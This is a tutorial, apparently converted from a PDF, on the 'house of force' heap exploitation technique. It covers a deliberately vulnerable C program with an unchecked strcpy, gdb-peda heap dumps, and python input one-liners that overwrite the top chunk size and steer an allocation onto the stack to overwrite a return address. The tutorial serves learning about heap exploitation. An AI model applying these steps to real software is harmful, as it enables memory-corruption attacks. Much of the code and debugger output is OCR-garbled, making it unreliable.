The house of force exploitation

The house of force exploitation is possible when the following conditions are met:

- There's an allocation in the heap which affected by an overflow, so we can overwrite the chunk header (more concretely the top chunk size has to be overwritten)
- There's a second allocation where the size of the allocation is controlled
- There's a third allocation as well where we can place our data

The easiest example for the house of force exploitation is the *gbmaster*'s example, he also took the code from *blackangel* (https://gbmaster.wordpress.com/2015/06/28/x86-exploitation-101-house-of-force-jedi-overflow/):

```
/*
* blackngel's original example slightly modified
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void fvuln(unsigned long len, char *str, char *buf)
{
 char *ptr1, *ptr2, *ptr3;
 ptr1 = malloc(256);
 printf("PTR1 = [\%p] | n", ptr1);
 strcpy(ptr1, str);
 printf("Allocated MEM: %lu bytes\n", len);
 ptr2 = malloc(len);
 printf("PTR2 = [\%p] n", ptr2);
 ptr3 = malloc(256);
 printf("PTR3 = [\%p] | n", ptr3);
 strcpy(ptr3, buf);
ł
int main(int argc, char *argv[])
{
 char *pEnd;
 if (argc = = 4)
  fvuln(strtoull(argv[1], &pEnd, 10), argv[2], argv[3]);
 return 0;
ł
```

As it can be seen, we have 3 memory allocations (*ptr1*, *ptr2*, *ptr3*). The first allocation's size is 256 bytes, but as we have an uncontrolled *strcpy* instruction, it is possible to overwrite that buffer with arbitrary length data. So here's the chance to overwrite the top chunk size. The content of the first allocation is filled with the second parameter of the program. The second allocation (*ptr2*) is based on the first parameter of the program. The first parameter is converted to integer with the *strtoull* method, so we can directly specify the size of that allocation. And finally the last (*ptr3*) allocation's size is 256 bytes again and we can copy our desired bytes there (3^{rd} parameter of the program).

First, let's compile the program (I am using kali linux: *Linux kali 4.9.0-kali3-amd64 #1 SMP Debian 4.9.18-1kali1 (2017-04-04) x86_64 GNU*).

gcc -m32 -fno-stack-protector -z execstack -no-pie -Wl,-z,norelro -static -o hof hof.c

We compiled a 32bit binary without *noexec* protection. We also disabled all other protections, so *gdb-peda* shows no protection.

gdb-peda\$	checksec
CANARY	: disabled
FORTIFY	: disabled
NX	: disabled
PIE	
RELRO	: disabled

I also used the *-static* keyword to compile the libraries into the binary instead of dynamic linking.

Since the program is so helpful that it prints the memory address of all allocations first we check the heap usage without the debugger:

<pre>root@kali:~# ./hof 1000 AAAA CCC</pre>	C
PTR1 = [0x8b7c2d0]	
Allocated MEM: 1000 bytes	
PTR2 = [0x8b7c7f0]	
PTR3 = [0x8b7cbe0]	

For the next run we have different addresses because of the Address Space Layout Randomization. Right now we are focusing only on the house of force exploitation so we turn off the ASLR.

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

This time we get the same addresses all the time:



It's time to talk about the heap allocations. The heap allocation methods of the operating system are very complex, so I won't touch on all the details. We're going to analyze only the necessary parts of it. The application can have multiple heaps. One heap consists of chunks. Chunks can have different sizes and can be freed and allocated. The free chunks with the same size are logically linked together in free lists, but this is not important for the house of force exploitation. What is important now that there's always a top chunk (or wilderness) which size is equal to the not allocated memory in the current heap. Before the memory allocation begins the heap is practically one chunk.

Top chunk header (with size)

After the first allocation the first chunk will replace the top chunk header and the top chunk header will shifted and the size will be less. That is because the total size of the heap doesn't change.

Chunk1	Top chunk header (with size)

And this goes in that way: the chunks are placed in the heap one after each other with different sizes and the top chunk always contains the remaining space.

Chunk1	Chunk2	Top chunk header (with size)

Of course it is possible that a chunk is freed. In that case the heap won't be reorganized but the free space will be marked as free (originally it is marked as busy). If two free chunks are located next to each other then they will be merged (this can be useful for heap overflow, not now). The free chunks are registered in the free list (logically linked together with pointers). For an allocation the OS will check if there's available free chunk with the desired size. If not then it will be allocated from the top chunk.

It's time to analyze our program through the debugger. First we're going to check the heap after the first allocation (256 bytes). With *gdb-peda* we step to the appropriate part of the code:

gdb ./hof break *main run 100 AAAA CCCC

As it can be seen, we placed a breakpoint to the beginning of the main method and started the program with 100, AAAA and CCCC parameters. The beginning of the program looks like that:

Starting program: /root/hof 100 AAAA CCCC
<pre>[</pre>
EIP: 0x804894a (<main>: lea ecx,[esp+0x4]) EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT dire</main>
0x8048945 <fvuln+192>: mov ebx,DWORD PTR [ebp-0x4] 0x8048948 <fvuln+195>: leave 0x8048949 <fvuln+196>: ret => 0x804894a <main>: lea 0x804894e <main+4>: and 0x8048951 <main+7>: push 0x8048954 <main+10>: push 0x8048955 <main+11>: mov ebp, esp esp.</main+11></main+10></main+7></main+4></main></fvuln+196></fvuln+195></fvuln+192>
0000 0xfffd2fc> 0x8048fdf (<libc_start_main+943>: 0004 0xfffd300> 0x4 0008 0xfffd304> 0xffffd3b4> 0xffffd553 ("/root/hof") 0012 0xffffd308> 0xffffd3c8> 0xffffd56b ("LS_COLORS=rs=0 pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:r a=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=0 0016 0xffffd310> 0x0 0020 0xffffd310> 0x0 0024 0xffffd314> 0x0 0028 0xffffd318> 0x0</libc_start_main+943>
[Legend: code, data, rodata, value
Breakpoint 1, 0x0804894a in main ()

Let's move on with the step (s) command. We can go step by step with the s or we can skip a whole method by entering and executing till the return (s+finish).

-					
[0x8048990 0x8048991	<main+70>: <main+71>:</main+71></main+70>	push push	ecx eax	le
	0x8048992	<main+72>:</main+72>	mov	ebx,edx	
=>	0x8048994 0x8048999	<main+74>: <main+79>:</main+79></main+74>	add	esp,0x10	<strtouq></strtouq>
	0x804899c	<main+82>:</main+82>	sub	esp,0x4	
22	0x80489a0	<main+86>:</main+86>	push	esi	
Gue	essed argu	ments:			
arg	g[0]: 0xff	ffd55d> (0x30303	1 ('100')	
arg	g[1]: 0xff	ffd2cc>		🖳 (<lib< td=""><td>c_csu_init+89>:</td></lib<>	c_csu_init+89>:
arg	g[2]: 0xa	('\n')			

After jumping out the *strtouq* we arrive to the *fvuln* method that we have to debug step by step. The first real method is the *malloc*. The first parameter of *malloc* is the required size that is now 0x100 = 256 bytes.



Sometimes things happen differently in dbg, so first we execute *malloc* and check where the allocated space is. The return value of a method is placed in *eax*, so we can obtain the starting address of the allocated memory: 0x80dd2d0 (this time there's no difference).

C11.	File	Edit	View	Search	Terminal	Help	
	[registers]
	EAX	: 0x80)dd2d0	> 0>	×0		
	FRX	UX80	аасас	> ⊍>	X⊍		
	ECX	: 0x20)c29	-	_		
	EDX	: 0x80)dd2d0	> 0>	x0		
	ESI	: 0xff	ffd56	1 ("AAA	AA")		
	EDI	: 0x11	11056	6 ("CCC	CC")	· ·	
	EBP	OXTI	TTdZa	8> (UXTTTTTd20	8> 0	JX0
	ESP		19924	0> (/ -fund	UX100	مطط	oop ()(10)
2	EIP		1400d4	(<rvu)< th=""><th>un+31>:</th><th>adu Tautha</th><th>esp, 0x10)</th></rvu)<>	un+31>:	adu Tautha	esp, 0x10)
		465: 0	02202	(Carry	parity a	aujust z	codo
4	1	9×8048	8807 <	fvulni	18>.	suh	esp Arc
2		9×8048	89a <	fvuln+2	21>.	nuch	
		9x8048	889f <	fvuln+2	26>:	call	0x805c6e0 <malloc></malloc>
2	=> (9x8048	38a4 <	fvuln+3	31>:	add	esp.uxiu
2		9x8048	88a7 <	fvuln+3	34>:	mov	DWORD PTR [ebp-0xc],eax
4		9x8048	38aa <	fvuln+3	37>:	sub	esp,0x8
		9x8048	38ad <	fvuln+4	40>:	push	n DWORD PTR [ebp-0xc]
		9x8048	88b0 <	fvuln+4	43>:	lea	eax,[ebx-0x2d054]
	[]						stack]
	000	9 0x1	fffd2	80>	0x100		
	000	4 0xf	fffd2	84>	0xffffd2	2cc>	0xffffd560> 0x41414100 ('')
	000		ttfd2	88>	0xa ('\r	1') / /	
-	001		TTTd2	86>	0280488	(<tvi< th=""><th>11n+17>: add ebx.0x9140h)</th></tvi<>	11n+17>: add ebx.0x9140h)

erg

Just to illustrate how heap allocation works, we restart the program with the same parameters and before the execution of *malloc* we are checking the memory layout around 0x80dd2d0:

gdb-peda\$ x/3	128x 0x80dd2a <u>0</u>			
0x80dd2a0:	0x00000000	0x00000000	0×00000000	0x00000000
0x80dd2b0:	0×00000000	0x00000000	0×00000000	0x00000000
0x80dd2c0:	0×00000000	0x00000000	0×00000000	0x00020d39
0x80dd2d0:	0×00000000	0x00000000	0×00000000	0X00000000
0x80dd2e0:	0×00000000	0x00000000	0×00000000	0×00000000
0x80dd2f0:	0×00000000	0x00000000	0×00000000	0×00000000
0x80dd300:	0×00000000	0x00000000	0x00000000	0x00000000
0x80dd310:	0x00000000	0x00000000	0x00000000	0x00000000
0x80dd320:	0×00000000	0x00000000	0×00000000	0x00000000
0x80dd330:	0×00000000	0x00000000	0x00000000	0x00000000
0x80dd340:	0×00000000	0x00000000	0x00000000	0x00000000
0x80dd350:	0×00000000	0x00000000	0x00000000	0x00000000
0x80dd360:	0×00000000	0x00000000	0×00000000	0×00000000
0x80dd370:	0×00000000	0x00000000	0×00000000	0×00000000
0x80dd380:	0×00000000	0x00000000	0×00000000	0×00000000
0x80dd390:	0×00000000	0x00000000	0×00000000	0x00000000
0x80dd3a0:	0×00000000	0x00000000	0x00000000	0x00000000
0x80dd3b0:	0×00000000	0x00000000	0x00000000	0x00000000
0x80dd3c0:	0×00000000	0x00000000	0×00000000	0x00000000
0x80dd3d0:	0×00000000	0x00000000	0×00000000	0x00000000
0x80dd3e0:	0×00000000	0x00000000	0×00000000	0×00000000
0x80dd3f0:	0×00000000	0x00000000	0×00000000	0×00000000
0x80dd400:	0×00000000	0x00000000	0×00000000	0×00000000
0x80dd410:	0×00000000	0x00000000	0×00000000	0×00000000
0x80dd420:	0×00000000	0x00000000	0×00000000	0×00000000
0x80dd430:	0×00000000	0×00000000	0x00000000	0×00000000
0x80dd440:	0×00000000	0x00000000	0×00000000	0×00000000
0x80dd450:	0×00000000	0x00000000	0x00000000	0x00000000
0x80dd460:	0×00000000	0×00000000	0×00000000	0x00000000
0x80dd470:	0×00000000	0×00000000	0×00000000	0x00000000
0x80dd480:	0x00000000	0x00000000	0x00000000	0x00000000

As it is indicated in the figure the first 4 byte value before 0x80dd2d0 is the size of the top chunk. Right now this is the size of the heap. We can try it without the debugger (0x20d39 = 134457):



The first allocation is less than the size of the current heap that's why it is allocated inside. But the second size (140000) is greater than the current heap size. As you can see PTR2 is allocated in a totally different memory region (0xf7fd7010) in a new heap.

Let's go back to the debugger and take a look at the memory after the first *malloc*:

gdb-peda\$ x/	128x 0x80dd2a0			
0x80dd2a0:	0×00000000	0x00000000	0x00000000	0x00000000
0x80dd2b0:	0x00000000	0x00000000	0x00000000	0x00000000
0x80dd2c0:	0×00000000	0x00000000	0x00000000	0x00000111
0x80dd2d0:	0×00000000	0x00000000	0x00000000	0x00000000
0x80dd2e0:	0×00000000	0x00000000	0x00000000	0×00000000
0x80dd2f0:	0×00000000	0x00000000	0x00000000	0×00000000
0x80dd300:	0×00000000	0x00000000	0x00000000	0×00000000
0x80dd310:	0×00000000	0x00000000	0x00000000	0×00000000
0x80dd320:	0×00000000	0x00000000	0x00000000	0×00000000
0x80dd330:	0×00000000	0x00000000	0x00000000	0×00000000
0x80dd340:	0×00000000	0x00000000	0x00000000	🖕 0x00000000
0x80dd350:	0×00000000	0x00000000	0x00000000	0x00000000
0x80dd360:	0×00000000	0x00000000	0x00000000	0×00000000
0x80dd370:	0×00000000	0x00000000	0x00000000	0x00000000
0x80dd380:	0×00000000	0x00000000	0x00000000	0x00000000
0x80dd390:	0x00000000	0x00000000	0x00000000	0x00000000
0x80dd3a0:	0x00000000	0x00000000	0x00000000	0x00000000
0x80dd3b0:	0x00000000	0x00000000	0x00000000	0x00000000
0x80dd3c0:	0x00000000	0x00000000	0x00000000	020000000
0x80dd3d0:	0x00000000	0x00000000	0x00000000	0x00020c29
0x80dd3e0:	0x00000000	0x00000000	0x00000000	0x00000000
0x80dd3f0:	0x00000000	0x00000000	0x00000000	0x00000000
0x80dd400:	0x00000000	0x00000000	0x00000000	0x00000000
0x80dd410:	0x00000000	0x00000000	0x00000000	0x00000000
0x80dd420:	0x00000000	0x00000000	0x00000000	0x00000000
0x80dd430:	0x00000000	0x00000000	0x00000000	0x00000000
0x80dd440:	0x00000000	0x00000000	0x00000000	0x00000000
0x80dd450:	0x00000000	0x00000000	0x00000000	0x00000000
0x80dd460:	0x00000000	0x00000000	0x00000000	0x00000000
0x80dd470:	0×00000000	0×00000000	0×00000000	0x00000000
0x80dd480:	0x00000000	0x00000000	0×00000000	0x00000000
0x80dd490:	0×00000000	0×00000000	0×00000000	0×00000000

The figure above shows what happened. The top chunk moved lower. The start address of the top chunk is 0x80dd3e0 and its size decreased, now it's 0x20c29. 0x20d39-0x20c29 = 0x110,

so the size of the top chunk is decreased by the allocation (0x100) plus 0x10 (header size). This is also reflected by the size of the first size, which is now changed to 0x111 (the last bit is only for marking that the chunk is busy).

And here comes the house of force exploitation: since we can arbitrary overflow the first chunk we're going to modify the top chunk size. If we modify it to a large value we can make an arbitrary second allocation even outside the heap. Since the third allocation comes right after the second one, if the size of the second allocation is appropriate we can allocate the third chunk to the same place as the stack. The following figure represents what is happening with the house of force:



So the first step is to overwrite the topchunk size. According to the memory dump we need to provide an input with 0x110 length, where the last four bytes should be an appropriate large value e.g. 0xffffffff (the largest possible). We can achieve that with the following input (first using the debugger):



After the first *malloc* we have to execute the next *printf* (this for writing the place of PTR1) and also the *strcpy* instruction. The debugger only shows a call for 0x80481b0 (see figure), but this is how the *strcpy* is executed.

-			
	0x80488c2 <fvuln+61>:</fvuln+61>	push	DWORD PTR [ebp+0xc]
	0x80488c5 <fvuln+64>:</fvuln+64>	push	DWORD PTR [ebp-0xc]
	0x80488c8 <fvuln+67>:</fvuln+67>		0x80481b0
=>	0x80488cd <fvuln+72>:</fvuln+72>	add	esp,0x10
	0x80488d0 <fvuln+75>:</fvuln+75>	sub	esp,0x8
	0x80488d3 <fvuln+78>:</fvuln+78>	push	DWORD PTR [ebp+0x8]
	0x80488d6 <fvuln+81>:</fvuln+81>	lea	eax,[ebx-0x2d045]
	0x80488dc <fvuln+87>:</fvuln+87>	push	eax
-]			tack

After that instruction we can check the interesting memory part again:

gdb-peda\$ x/1	128x 0x80dd2a0			
0x80dd2a0:	0×00000000	0×00000000	0x00000000	0x00000000
0x80dd2b0:	0×00000000	0×00000000	0x00000000	0x00000000
0x80dd2c0:	0×00000000	0x00000000	0x00000000	0x00000111
0x80dd2d0:	0x41414141	0x41414141	0x41414141	0x41414141
0x80dd2e0:	0x41414141	0x41414141	0x41414141	0x41414141
0x80dd2f0:	0x41414141	0x41414141	0x41414141	0x41414141
0x80dd300:	0x41414141	0x41414141	0x41414141	0x41414141
0x80dd310:	0x41414141	0x41414141	0x41414141	0x41414141
0x80dd320:	0x41414141	0x41414141	0x41414141	0x41414141
0x80dd330:	0x41414141	0x41414141	0x41414141	0x41414141
0x80dd340:	0x41414141	0x41414141	0x41414141	🖕 0x41414141
0x80dd350:	0x41414141	0x41414141	0x41414141	0x41414141
0x80dd360:	0x41414141	0x41414141	0x41414141	0x41414141
0x80dd370:	0x41414141	0x41414141	0x41414141	0x41414141
0x80dd380:	0x41414141	0x41414141	0x41414141	0x41414141
0x80dd390:	0x41414141	0x41414141	0x41414141	0x41414141
0x80dd3a0:	0x41414141	0x41414141	0x41414141	0x41414141
0x80dd3b0:	0x41414141	0x41414141	0x41414141	0x41414141
0x80dd3c0:	0x41414141	0x41414141	0x41414141	0x41414141
0x80dd3d0:	0x41414141	0x41414141	0x41414141	0xffffffff
0x80dd3e0:	0x31525400	0x5b203d20	0x38783020	0x32646430
0x80dd3f0:	0x5d203064	0x0000000a	0x00000000	0x00000000
0x80dd400:	0x00000000	0×00000000	0x00000000	0x00000000
0x80dd410:	0x00000000	0×00000000	0x00000000	0x00000000
0x80dd420:	0x00000000	0×00000000	0x00000000	0x00000000
0x80dd430:	0×00000000	0×00000000	0x00000000	0x00000000
0x80dd440:	0x00000000	0×00000000	0x00000000	0x00000000
0x80dd450:	0x00000000	0×00000000	0x00000000	0x00000000
0x80dd460:	0×00000000	0×00000000	0x00000000	0x00000000
0x80dd470:	0×00000000	0×00000000	0x00000000	0x000000000
0x80dd480:	0×00000000	0×00000000	0×00000000	0×00000000
0x80dd490:	0×00000000	0×00000000	0x00000000	0x000000000

There are some strange values after 0xffffffff but looks good. Trying it out without the debugger it should allow us to make arbitrary allocations, but this is not the case:

L	<pre>root@kali:~# ./hof 140000 `python -c "print'A'*268+'\xff\xff\xff\xff'"` CCC</pre>	С
L	PTR1 stale 0x80dd2d0]	
Ļ	Allocated MEM: 140000 bytes	
I	PTR2 = [0xf7fd7010]	
Γ	PIR3 = [0x80dd/t0]	

The reason for this could be that we had another indirect heap allocation. In order to check it we're going to provide a different input. Let's try with only 252*A and 4 times χ ff. Of course this won't cause overflow but at least we can check if we had another allocation in the heap. Now we're going to stop the debugging before the second direct allocation.

File	Edit	View	Search	Terminal	Help		
0x08	0488c	d in	fvuln (()			
gdb-	peda\$	x/12	8x 0x80)dd2c0			
0x80	dd2c0	:	0x000	000000	0×00000000	0×00000000	0×00000111
0x80	dd2d0	:	0x414	414141	0x41414141	0x41414141	0x41414141
0x80	dd2e0	:	0x414	414141	0x41414141	0x41414141	0x41414141
0x80	dd2f0	:	0x414	414141	0x41414141	0x41414141	0x41414141
0x80	dd300	:	0x414	414141	0x41414141	0x41414141	0x41414141
0x80	dd310	:	0x414	414141	0x41414141	0x41414141	0x41414141
0x80	dd320	:	0x414	414141	0x41414141	0x41414141	0x41414141
0x80	dd330	:	0x414	414141	0x41414141	0x41414141	0x41414141
0x80	dd340	:	0x414	414141	0x41414141	0x41414141	0x41414141
0x80	dd350	:	0x414	14141	0x41414141	0x41414141	0x41414141
0x80	dd360	:	0x414	14141	0x41414141	0x41414141	0x41414141
0x80	dd370	:	0x414	414141	0x41414141	0x41414141	0x41414141
0x80	dd380	:	0x414	14141	0x41414141	0x41414141	0x41414141
0x80	dd390	:	0x414	414141	0x41414141	0x41414141	0x41414141
0x80	dd3a0		0x414	414141	0x41414141	0x41414141	0x41414141
0x80	dd3b0	:	0x414	414141	0x41414141	0x41414141	0x41414141
0x80	dd3c0	:	0x414	14141	0x414141 <mark>41</mark>	0x41414141	0xffffffff
0x80	dd3d0	:	0x000	000000	0x00000000	0x00000000	0x00000411
0x80	dd3e0		0x315	525450	0x5b203d20	0x38783020	UX3204043U
0x80	dd3f0	:	0x5d2	203064	0x0000000a	0x00000000	0×00000000
0x80	dd400	:	0x000	00000	0x00000000	0x00000000	0x0000000

That's strange, but we really had another heap allocation with a size of 0x410. So the top chunk should be at 0x80dd3e0+0x410 = 0x80dd7f0. Let's check it:

gdb-peda\$ x/12	8x 0x80dd7e0			
0x80dd7e0:	0×00000000	0x00000000	0×00000000	0x00020819
0x80dd7f0:	0×00000000	0x00000000	0×00000000	0X00000000
0x80dd800:	0x00000000	0×00000000	0×00000000	0×00000000
0x80dd810:	0x00000000	0x00000000	0x00000000	0×00000000
0x80dd820:	0x00000000	0x00000000	0x00000000	0×00000000
0x80dd830:	0x00000000	0x00000000	0x00000000	0×00000000
0x80dd840:	0x00000000	0x00000000	0x00000000	0×00000000
0x80dd850:	0×00000000	0x00000000	0x00000000	0×00000000
0x80dd860:	0×00000000	0x00000000	0x00000000	► 0x0000000

Yes, the top chunk is there, so we have to recalculate the size of the first buffer: 0x80dd7f0-0x80ddd0 = 0x520 = 1312.

Trying out that value justifies the correct length. With 1308 bytes there's no top chunk size overflow, but with 1312 we have a segmentation fault.

<pre>root@kali:~# ./hof 140000 `python -c "print'\xff'*1304+'\xff\xff\xff\xff'"` C</pre>	CCC
PTR1 = [0x80dd2d0] Allocated MEM: 140000 bytes	
PTR2 = [0xf7fd7010] PTR3 = [0x80dd7f0]	
root@kall:~# ./not 140000 python -c "print"\xtt"*1308+"\xtt\xtt\xtt\xtt\xtt\xtt\xtt\xtt\xtt\xt	
Allocated MEM: 140000 bytes Segmentation fault	
root@kali:~#	

The reason for the segmentation fault can be illustrated easily (see figure).

Virtual address space	Virtual address space
Неар	First chunk
	Second chunk
Virtual address space	
	Third chunk
Stack	Stack
Virtual address space	Virtual address space

Since the size of the second allocation is just a random value, the third allocation will be in an uninitialized area of the virtual address space. To avoid that situation we have to calculate the size of the second allocation correctly. The first step is to identify the stack addresses where we have return pointers after the execution of the third direct heap allocation. Let's go back to the debugger and start the program with a normal input (without overwriting anything).

After the third *malloc* in *fvuln* we have another *printf*. We cannot overwrite the return pointer of that method since the whole stack frame is created after the third allocation and *strcpy*. But we do have a return at 0x80489ba. This code pops the address 0xffffd2fc (see figure). Right after that the program exits, so this address is our only candidate. Let's calculate the necessary size now: 0xffffd2fc-0x80dd7f0 = 0xf7f1fb0c = 4159830796. Maybe it's not a good idea to use exactly that value. We're going to use 4159830760 for the first time.

							CC	ode						
	0x80489	b5 <ma< td=""><td>in+10</td><td>7>:</td><td></td><td>рор</td><td>e</td><td>edi</td><td></td><td></td><td></td><td></td><td></td><td></td></ma<>	in+10	7>:		рор	e	edi						
	0x80489	b6 <ma< td=""><td>in+10</td><td>8>:</td><td></td><td>pop</td><td>e</td><td>ebp</td><td></td><td></td><td></td><td></td><td></td><td></td></ma<>	in+10	8>:		pop	e	ebp						
	0x80489	b7 <ma< td=""><td>in+10</td><td>9>:</td><td></td><td>lea</td><td>e</td><td>esp,</td><td>[ecx</td><td>-0x4</td><td>1</td><td></td><td></td><td></td></ma<>	in+10	9>:		lea	e	esp,	[ecx	-0x4	1			
=>	0x80489	ba <ma< td=""><td>in+11</td><td>2>:</td><td></td><td>ret</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></ma<>	in+11	2>:		ret								
	0x80489	bb <	x86.g	et pc	thunk	.dx>	:	mov		edx,	DWO	RD PT	R [e	sp]
	0x80489	be <	x86.g	et pc	thunk	.dx+	3>:	ret						
	0x80489	bf <	x86.g	et pc	thunk	.dx+	4>:	nop						
	0x80489	c0 <ge< td=""><td>t com</td><td>mon in</td><td>deces</td><td>.con</td><td>stpr</td><td>op.</td><td>1>:</td><td>pus</td><td>h</td><td>ebp</td><td></td><td></td></ge<>	t com	mon in	deces	.con	stpr	op.	1>:	pus	h	ebp		
[-sta	ack-						
000	00 0xff	ffd2fc	>		fdf (< 1	ibc	sta	rt m	ain+	943:	>:		add
000	04 0xff	ffd300	>	0x4					1177					
000	08 Oxff	ffd304	>	0 xffff	d3b4	>	0xft	fffd!	553	("/r	oot,	/hof")	
001	2 Oxff	ffd308	>	0xffff	d3c8	>	0xft	fffd	56b	("LS	COL	_ORS=	rs=0	:di=0
pi=	40;33:s	0=01;3	5:do=	01;35:	bd=40	;33;	01:0	cd=4(9;33	;01:	or=	40;31	;01:1	mi=00
a=3	30;41:tw	=30;42	:ow=3	4;42:s	t=37;	44:e	x=01	1;32	:*.t	ar=0	1;3	1:*.t	qz=0	1;31:
001	6 Oxff	ffd30c	>	Oxffff	d354	>	0x80	d9c9	9c -	-> 0	x0			
002	0 Oxff	ffd310	>	0x0										
002	4 Oxff	ffd314	>	0x0										
002	8 Oxff	ffd318	>	0x0										
r	and seems of													

There's another thing to consider: The top of the stack can depend on the previous inputs as well, because the local variables (some input in that case) are also stored on the stack. That means that

./hof 4159830796 `python -c "print'A'*1308+'\xff\xff\xff\xff\xff\xff\xff'"` CCCCC and ./hof 4159830796 `python -c "print'A'*1308+'\xff\xff\xff\xff\xff'"` CCCCCCCC result different stack position.

100 bytes as payload should be enough, so we should check the stack position of the return value with the following input:

./hof 4159830796 `python -c "print'A'*1308+'\xff\xff\xff\xff\xff'"` `python -c "print'C'*100"`

Without the debugger it looks good, we managed to allocate the third chunk to the stack:

```
root@kali:~# ./hof 4159830796 `python -c "print'\xff'*1308+'\xff\xff\xff\xff'"`
`python -c "print'C'*100"`
PTR1 = [ 0x80dd2d0 ]
Allocated MEM: 4159830796 bytes
PTR2 = [ 0x80dd7f0 ]
PTR3 = [ 0xffffd300 ]
root@kali:~#
```

Checking it with debugger the figure shows that the stack address where the return address of the *fvuln* method is stored has really changed. This time this is: 0xfffcd2c (see figure)

[code
0x8048944 <fvuln+191>: 0x8048945 <fvuln+192>:</fvuln+192></fvuln+191>	nop mov ebx,DWORD PTR [ebp-0x4]
0x8048948 <fvuln+195>:</fvuln+195>	leave
=> 0x8048949 <fvuln+196>:</fvuln+196>	ret
0x804894a <main>: lea</main>	ecx,[esp+0x4]
0x804894e <main+4>: and</main+4>	esp,0xffffff0
0x8048951 <main+7>: push</main+7>	DWORD PTR [ecx-0x4]
0x8048954 <main+10>: push</main+10>	ebp
[stack
0000 0xffffcd2c> 0x80489a7	(<main+93>: add esp,0x10)</main+93>
0004	
0008 0xffffcd34> 0xffffcfe	> 0xfffffff
0012 0xffffcd38> 0xffffd500	('C' <repeats 100="" times="">)</repeats>
0016 0xffffcd3c> 0x8048963	(<main+25>: add edx,0x91339)</main+25>
0020 0x1111cd40> 0x4	
0024 OXTTTTC044> OXTTTTC034	> UXTTTTCTOU ("/root/not")
0028 0XTTTTC048> 0XTTTTC048	> 0xTTTTC560 ("LS_COLORS=rs=0:01=
p1=40;33:50=01;35:d0=01;35:bd=4	10;33;01:Cd=40;33;01:Or=40;31;01:m1=0
a=30;41:tw=30;42:ow=34;42:st=3	/;44:ex=01;32:*.tar=01;31:*.tgz=01;31
Logondu sede doto sedato vol	
Legend: coue, uala, rodala, val	lue
0X08048949 IN TVULN ()	

The C series is at 0xffffd300

gdb-peda\$ x/12	8x 0xfff	fd300						
0xffffd300:	0x43	0x43	0x43	0x43	0x43	0x43	0x43	0x43
0xffffd308:	0x43	0x43	0x43	0x43	0x43	0x43	0x43	0x43
0xffffd310:	0x43	0x43	0x43	0x43	0x43	0x43	0x43	0x43
0xffffd318:	0x43	0x43	0x43	0x43	0x43	0x43	0x43	0x43
0xffffd320:	0x43	0x43	0x43	0x43	0x43	0x43	0x43	0x43
0xffffd328:	0x43	0x43	0x43	0x43	0x43	0x43	0x43	0x43
0xffffd330:	0x43	0x43	0x43	0x43	0x43	0x43	0x43	0x43
0xffffd338:	0x43	0x43	0x43	0x43	0x43	0x43	0x43	0x43
0xffffd340:	0x43	0x43	0x43	0x43	0x43	0x43	0x43	0x43
0xffffd348:	0x43	0x43	0x43	0x43	0x43	0x43	0x43	0x43
0xffffd350:	0x43	0x43	0x43	0x43	0x43	0x43	0x43	0x43
0xffffd358:	0x43	0x43	0x43	0x43	0x43	0x43	0x43	0x43
0xffffd360:	0x43	0x43	0x43	0x43	0x00	0xff	0xff	0xff

We used 4159830796 and the beginning of the C series placed at 0xffffd300. We need to place it to 0xffffcd2c, d300-cd2c = 0x5d4 = 1492 (1496 to be dividable by 8) 4159830796-1520 (to be on the safe side) = 4159829276

	code
0x8048944 <fvuln+191>:</fvuln+191>	nop
0x8048945 <fvuln+192>:</fvuln+192>	mov ebx,DWORD PTR [ebp-0x4]
0x8048948 <fvuln+195>:</fvuln+195>	leave
$=> 0 \times 8048949 < f \times 10^{-1} \text{ m}^{-1}$	ret
0x80/80/a cmain>: 10a	ecy [esn+0y/]
	acp Avffffff
0x8048951 <main+></main+> : pusn	DWORD PIR [ecx-0x4]
0x8048954 <main+10>: push</main+10>	ebp
	stack
0000 0xffffcd2c ('C' <repeats< td=""><td>72 times>)</td></repeats<>	72 times>)
0004 0xffffcd30 ('C' <repeats< td=""><td>68 times>)</td></repeats<>	68 times>)
0008 0xffffcd34 ('C' <repeats< td=""><td>64 times>)</td></repeats<>	64 times>)
0012 0xffffcd38 ('C' <repeats< td=""><td>60 times>)</td></repeats<>	60 times>)
0016 0xffffcd3c ('C' <repeats< td=""><td>56 times>)</td></repeats<>	56 times>)
00201 0xffffcd40 ('C' <repeats< td=""><td>52 times>)</td></repeats<>	52 times>)
0020 0xffffcd44 ('C' <repeats< td=""><td>$18 \pm imos)$</td></repeats<>	$18 \pm imos)$
0024 0xffffed49 ('C' cropeate	40 cimes
	44 (lilles)

This time we managed to place the CCCC to the appropriate place (it can be seen in the previous screenshot). By checking that memory region it is clear that we have to place 28 pieces of C then the new return address then 68 D as temporary payload.

Now the place of the address is perfect (see picture), 4xI (x49x49x49x49) is there.

[code	
L	0x8048944 <	<fvuln+191>: <fvuln+192>:</fvuln+192></fvuln+191>	nop	ebx.DWORD PTR	[ebp-0x4]
	0x8048948 <	<fvuln+195>:</fvuln+195>	leave		[cop on]
=>	0x8048949 <	<fvuln+196>:</fvuln+196>	ret		
	0x804894a <	<main>: lea</main>	ecx,[es	p+0x4]	
	0x804894e <	<main+4>: and</main+4>	esp,0x1	1111110	
	0x8048951 <	<main+7>: pus</main+7>	h DWORD P	TR [ecx-0x4]	
	0x8048954 <	<main+10>: pus</main+10>	h ebp		
[tack	
000	00 0xffffc	d2c ("IIII", '	D' <repeats< th=""><th>68 times>)</th><th></th></repeats<>	68 times>)	
000	04 Oxffffc	d30 ('D' <repe< th=""><th>ats 68 time</th><th>is>)</th><th></th></repe<>	ats 68 time	is>)	
000	08 Oxffffco	d34 ('D' <repe< th=""><th>ats 64 time</th><th>s>)</th><th></th></repe<>	ats 64 time	s>)	
001	2 0xffffc	d38 ('D' <repe< th=""><th>ats 60 time</th><th>:s>)</th><th></th></repe<>	ats 60 time	:s>)	
001	L6 0xffffc	d3c ('D' <repe< th=""><th>ats 56 time</th><th>s>)</th><th></th></repe<>	ats 56 time	s>)	
002	20 Oxffffco	d40 ('D' <repe< th=""><th>ats 52 time</th><th>:s>)</th><th></th></repe<>	ats 52 time	:s>)	
002	24 Oxffffc	d44 ('D' <repe< th=""><th>ats 48 time</th><th>s>)</th><th></th></repe<>	ats 48 time	s>)	
